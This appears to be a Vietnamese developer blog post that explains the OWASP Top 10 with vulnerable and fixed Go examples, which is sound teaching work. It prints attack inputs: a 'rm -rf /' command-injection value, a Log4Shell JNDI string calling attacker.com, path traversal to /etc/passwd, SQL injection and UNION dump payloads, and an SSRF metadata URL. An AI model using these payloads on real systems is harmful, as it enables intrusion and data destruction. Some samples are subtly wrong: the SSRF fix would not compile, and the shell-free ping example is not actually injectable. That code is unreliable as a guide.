🔐 Security✍️ Khoa📅 19/04/2026☕ 10 phút đọc

OWASP Top 10 & Common Vulnerabilities

OWASP (Open Web Application Security Project) Top 10 là danh sách các vulnerability phổ biến và nguy hiểm nhất trong web applications. Biết Top 10 này là prerequisite cho mọi developer — không chỉ để phỏng vấn mà còn để tránh ship code có lỗ hổng nghiêm trọng.

🛡️ "Knowing your enemy is half the battle." — Sun Tzu (áp dụng cho security cũng vậy)


OWASP Top 10 (2021)

  1. Broken Access Control (#1 ⬆️ từ #5)
  2. Cryptographic Failures (#2)
  3. Injection (#3)
  4. Insecure Design (#4 - mới)
  5. Security Misconfiguration (#5)
  6. Vulnerable and Outdated Components (#6)
  7. Identification and Authentication Failures (#7)
  8. Software and Data Integrity Failures (#8 - mới)
  9. Security Logging and Monitoring Failures (#9)
  10. Server-Side Request Forgery (SSRF) (#10 - mới)

1. Broken Access Control

Vấn đề: User có thể access resources họ không có quyền.

Ví dụ: Insecure Direct Object Reference (IDOR)

GET /api/users/123/orders

Nếu backend không check xem user hiện tại có phải là user #123 không → attacker đổi thành /api/users/456/orders và xem orders của người khác.

Code Vulnerable

// 🔥 BAD
func getOrders(w http.ResponseWriter, r *http.Request) {
    userID := chi.URLParam(r, "userID")  // userID từ URL
    orders, _ := db.GetOrders(userID)
    json.NewEncoder(w).Encode(orders)
}

Mitigation

// ✅ GOOD
func getOrders(w http.ResponseWriter, r *http.Request) {
    requestedUserID := chi.URLParam(r, "userID")
    currentUserID := r.Context().Value("userID").(string)

    // Check authorization
    if requestedUserID != currentUserID {
        http.Error(w, "Forbidden", 403)
        return
    }

    orders, _ := db.GetOrders(requestedUserID)
    json.NewEncoder(w).Encode(orders)
}

Các dạng khác

  • Path traversal: /api/files?path=../../etc/passwd
  • Missing function-level access control: Admin endpoint không check role
  • Metadata manipulation: Thay đổi is_admin=false thành is_admin=true trong request

Defense

  • ✅ Deny by default, grant access explicitly
  • ✅ Enforce access control ở server-side, không phụ thuộc client
  • ✅ Log access control failures
  • ✅ Use indirect references (UUIDs thay vì sequential IDs)

2. Cryptographic Failures

Vấn đề: Sensitive data bị expose do encryption/hashing yếu hoặc không có.

Ví dụ 1: Plain-text passwords trong database

SELECT * FROM users WHERE email = 'alice@example.com';
-- password: "mypassword123"  😱

Ví dụ 2: Data truyền qua HTTP thay vì HTTPS

http://example.com/api/login  ← Credentials gửi clear-text qua network

Ví dụ 3: Weak encryption

// 🔥 Using MD5/SHA1 for passwords
hash := md5.Sum([]byte(password))

Mitigation

// ✅ Use bcrypt/argon2 for passwords
import "golang.org/x/crypto/bcrypt"

func hashPassword(password string) (string, error) {
    hash, err := bcrypt.GenerateFromPassword([]byte(password), 12)
    return string(hash), err
}

// ✅ Encrypt sensitive data at rest
import "crypto/aes"
import "crypto/cipher"

func encrypt(plaintext, key []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    nonce := make([]byte, gcm.NonceSize())
    if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
        return nil, err
    }

    return gcm.Seal(nonce, nonce, plaintext, nil), nil
}

Defense

  • ✅ Enforce HTTPS everywhere (HSTS header)
  • ✅ Use TLS 1.2+ (disable TLS 1.0/1.1)
  • ✅ Encrypt sensitive data at rest (AES-256)
  • ✅ Use proper key management (KMS, Vault)
  • ✅ Don't roll your own crypto

3. Injection

Vấn đề: Attacker inject malicious code vào queries/commands.

SQL Injection

// 🔥 VULNERABLE
func getUser(email string) (*User, error) {
    query := fmt.Sprintf("SELECT * FROM users WHERE email = '%s'", email)
    row := db.QueryRow(query)
    // Nếu email = "' OR '1'='1" → query trả về tất cả users
}

Attack payload:

email = admin@example.com' OR '1'='1' --
→ SELECT * FROM users WHERE email = 'admin@example.com' OR '1'='1' --'

Mitigation: Parameterized Queries

// ✅ SAFE
func getUser(email string) (*User, error) {
    query := "SELECT * FROM users WHERE email = ?"
    row := db.QueryRow(query, email)
    // Database driver tự động escape input
}

Command Injection

// 🔥 VULNERABLE
func pingHost(host string) (string, error) {
    cmd := exec.Command("ping", "-c", "1", host)
    output, err := cmd.CombinedOutput()
    return string(output), err
}

// Attack: host = "8.8.8.8; rm -rf /"

Mitigation

// ✅ SAFE: Validate input
func pingHost(host string) (string, error) {
    // Only allow valid IP addresses
    if net.ParseIP(host) == nil {
        return "", errors.New("invalid IP address")
    }
    
    cmd := exec.Command("ping", "-c", "1", host)
    output, err := cmd.CombinedOutput()
    return string(output), err
}

LDAP, XML, NoSQL Injection cũng tương tự

Defense:

  • ✅ Use parameterized queries / prepared statements
  • ✅ Input validation với whitelist approach
  • ✅ Escape special characters
  • ✅ Use ORM với caution (ORM không phải magic bullet)

4. Insecure Design

Vấn đề: Thiết kế hệ thống từ đầu đã không secure.

Ví dụ: Password Reset không an toàn

1. User request reset password
2. Server gửi link: /reset?token=user@example.com
3. Attacker thay thành /reset?token=victim@example.com
4. Reset password của victim

Better Design

1. User request reset
2. Server generate random token: crypto-random UUID
3. Server gửi link: /reset?token=abc123def456...
4. Token chỉ valid trong 15 phút
5. Token chỉ dùng được 1 lần
6. Require old password hoặc email verification

Defense

  • ✅ Threat modeling trong design phase
  • ✅ Secure design patterns (không reinvent the wheel)
  • ✅ Unit tests cho security logic
  • ✅ Peer review cho security-critical features

5. Security Misconfiguration

Vấn đề: Default settings không secure, services expose không cần thiết.

Ví dụ phổ biến

  1. Unnecessary features enabled:

    # 🔥 Docker container chạy as root
    USER root
    # ✅ Run as non-root user
    USER appuser
  2. Default credentials:

    Username: admin
    Password: admin
  3. Directory listing enabled:

    http://example.com/uploads/
    → Shows all uploaded files
  4. Detailed error messages:

    {
      "error": "Database connection failed: postgres://user:pass@db-prod.internal:5432/app"
    }

Defense

  • ✅ Harden default configurations
  • ✅ Minimal install (chỉ install những gì cần)
  • ✅ Disable unnecessary features/ports/services
  • ✅ Security headers:
    w.Header().Set("X-Content-Type-Options", "nosniff")
    w.Header().Set("X-Frame-Options", "DENY")
    w.Header().Set("Content-Security-Policy", "default-src 'self'")
    w.Header().Set("Strict-Transport-Security", "max-age=31536000")

6. Vulnerable and Outdated Components

Vấn đề: Dùng libraries/frameworks có CVEs đã biết.

Real-world example: Log4Shell (CVE-2021-44228)

// Vulnerable log4j version
logger.info("User input: " + userInput);

// Attack payload
userInput = "${jndi:ldap://attacker.com/a}"Remote code execution

Defense

  • ✅ Dependency scanning (Dependabot, Snyk, Trivy)
  • ✅ Keep dependencies up to date
  • ✅ Monitor CVE databases
  • ✅ Remove unused dependencies
  • ✅ Use Software Bill of Materials (SBOM)
# GitHub Dependabot config
version: 2
updates:
  - package-ecosystem: "gomod"
    directory: "/"
    schedule:
      interval: "weekly"

7. Identification and Authentication Failures

Vấn đề: Weak authentication mechanisms.

Ví dụ

  1. Brute-force attacks không bị block:

    POST /login với 10000 password guesses
  2. Weak password requirements:

    Password: "123456" is accepted
  3. Session ID trong URL:

    http://example.com/dashboard?sessionID=abc123
    → Session ID leak qua Referer header

Defense

  • ✅ Multi-factor authentication (MFA)
  • ✅ Weak password checks (zxcvbn, Have I Been Pwned API)
  • ✅ Rate limiting for login
  • ✅ Account lockout after failed attempts
  • ✅ Session management best practices (HttpOnly, Secure, SameSite cookies)
// ✅ Set secure cookie
http.SetCookie(w, &http.Cookie{
    Name:     "sessionID",
    Value:    sessionID,
    HttpOnly: true,   // No JS access
    Secure:   true,   // HTTPS only
    SameSite: http.SameSiteStrictMode,
    MaxAge:   3600,
})

8. Software and Data Integrity Failures

Vấn đề: Code/data có thể bị tamper without detection.

Ví dụ 1: Unsigned packages

# 🔥 Install package without verification
npm install some-package

# ✅ Verify package signature
npm install some-package --verify-signatures

Ví dụ 2: Insecure CI/CD pipeline

# 🔥 VULNERABLE: Anyone có thể push code vào main và auto-deploy
on:
  push:
    branches: [main]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: ./deploy.sh  # No approval, no checks

Defense

  • ✅ Code signing
  • ✅ Verify checksums/signatures của dependencies
  • ✅ Use lock files (go.sum, package-lock.json)
  • ✅ CI/CD security: branch protection, required reviews, signed commits

9. Security Logging and Monitoring Failures

Vấn đề: Không log security events → không phát hiện attacks.

Cần log những gì?

  • ✅ Login attempts (success & failure)
  • ✅ Authorization failures (403 errors)
  • ✅ Input validation failures
  • ✅ Critical operations (delete account, change password)
  • ✅ Anomalous behavior (unusual access patterns)

Ví dụ implementation

func loginHandler(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("email")
    password := r.FormValue("password")

    user, err := authenticate(email, password)
    if err != nil {
        // ✅ Log failed login
        log.Warn("Login failed",
            "email", email,
            "ip", r.RemoteAddr,
            "user_agent", r.UserAgent(),
        )
        http.Error(w, "Invalid credentials", 401)
        return
    }

    // ✅ Log successful login
    log.Info("Login successful",
        "user_id", user.ID,
        "email", email,
        "ip", r.RemoteAddr,
    )

    // Create session...
}

Defense

  • ✅ Centralized logging (ELK, Splunk, CloudWatch)
  • ✅ Real-time alerting (PagerDuty, Opsgenie)
  • ✅ Log retention policy
  • ✅ SIEM integration
  • ⚠️ Never log passwords, tokens, credit cards

10. Server-Side Request Forgery (SSRF)

Vấn đề: Attacker khiến server gửi requests đến internal services.

Ví dụ

// 🔥 VULNERABLE
func fetchURL(w http.ResponseWriter, r *http.Request) {
    url := r.URL.Query().Get("url")
    resp, _ := http.Get(url)
    // Attacker có thể set url = http://169.254.169.254/latest/meta-data/
    // → Access AWS metadata service, lấy credentials
}

Attack scenario

GET /fetch?url=http://localhost:6379/
→ Server request đến Redis internal (không expose ra ngoài)
→ Attacker đọc/ghi Redis data

Mitigation

// ✅ SAFE
func fetchURL(w http.ResponseWriter, r *http.Request) {
    url := r.URL.Query().Get("url")

    // Parse URL
    parsedURL, err := url.Parse(url)
    if err != nil {
        http.Error(w, "Invalid URL", 400)
        return
    }

    // Block private IP ranges
    if isPrivateIP(parsedURL.Hostname()) {
        http.Error(w, "Access to private IPs not allowed", 403)
        return
    }

    // Whitelist allowed domains
    allowedDomains := []string{"api.example.com", "cdn.example.com"}
    if !contains(allowedDomains, parsedURL.Hostname()) {
        http.Error(w, "Domain not allowed", 403)
        return
    }

    resp, _ := http.Get(url)
    // ...
}

func isPrivateIP(hostname string) bool {
    ip := net.ParseIP(hostname)
    if ip == nil {
        return false
    }
    return ip.IsPrivate() || ip.IsLoopback()
}

Defense

  • ✅ Whitelist allowed domains
  • ✅ Block private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8)
  • ✅ Disable HTTP redirects hoặc limit redirect depth
  • ✅ Network segmentation (app servers không direct access đến sensitive internal services)

Real-world Attack Scenarios

Scenario 1: Account Takeover

1. Attacker finds IDOR vulnerability: /api/users/{id}/email
2. Change victim's email: PUT /api/users/456/email → attacker@evil.com
3. Request password reset → email gửi đến attacker
4. Reset password → account takeover

Defense: Enforce authorization, require current password để change email.

Scenario 2: Data Breach

1. SQL injection trong search endpoint
2. Dump entire users table: ' UNION SELECT * FROM users --
3. Passwords are plain-text 😱
4. Attacker leaks 1M user credentials

Defense: Parameterized queries, hash passwords, encrypt PII.

Scenario 3: Supply Chain Attack

1. Attacker compromises popular npm package
2. Inject malicious code vào package update
3. Developers auto-update dependencies
4. Malicious code runs in production → backdoor access

Defense: Lock file dependencies, verify signatures, dependency scanning.


Security Testing Tools

SAST (Static Application Security Testing)

  • SonarQube: Code quality & security
  • Semgrep: Custom security rules
  • gosec: Go security checker
# Run gosec
gosec ./...

DAST (Dynamic Application Security Testing)

  • OWASP ZAP: Automated security scanning
  • Burp Suite: Manual penetration testing
  • Nikto: Web server scanner

Dependency Scanning

  • Snyk: Find vulnerabilities in dependencies
  • Trivy: Container image scanning
  • Dependabot: Automated dependency updates
# Scan dependencies with Trivy
trivy fs --security-checks vuln .

Tóm tắt

Vulnerability Key Defense
Broken Access Control Enforce authorization server-side
Cryptographic Failures HTTPS, bcrypt passwords, encrypt PII
Injection Parameterized queries, input validation
Insecure Design Threat modeling, security by design
Security Misconfiguration Harden configs, disable defaults
Vulnerable Components Dependency scanning, updates
Auth Failures MFA, rate limiting, strong passwords
Integrity Failures Code signing, verify checksums
Logging Failures Log security events, real-time alerts
SSRF Whitelist domains, block private IPs

Bước tiếp theo

  • secure-coding.md — Secure coding practices chi tiết
  • crypto-basics.md — Deep dive vào cryptography
  • interview-and-big-picture.md — Câu hỏi phỏng vấn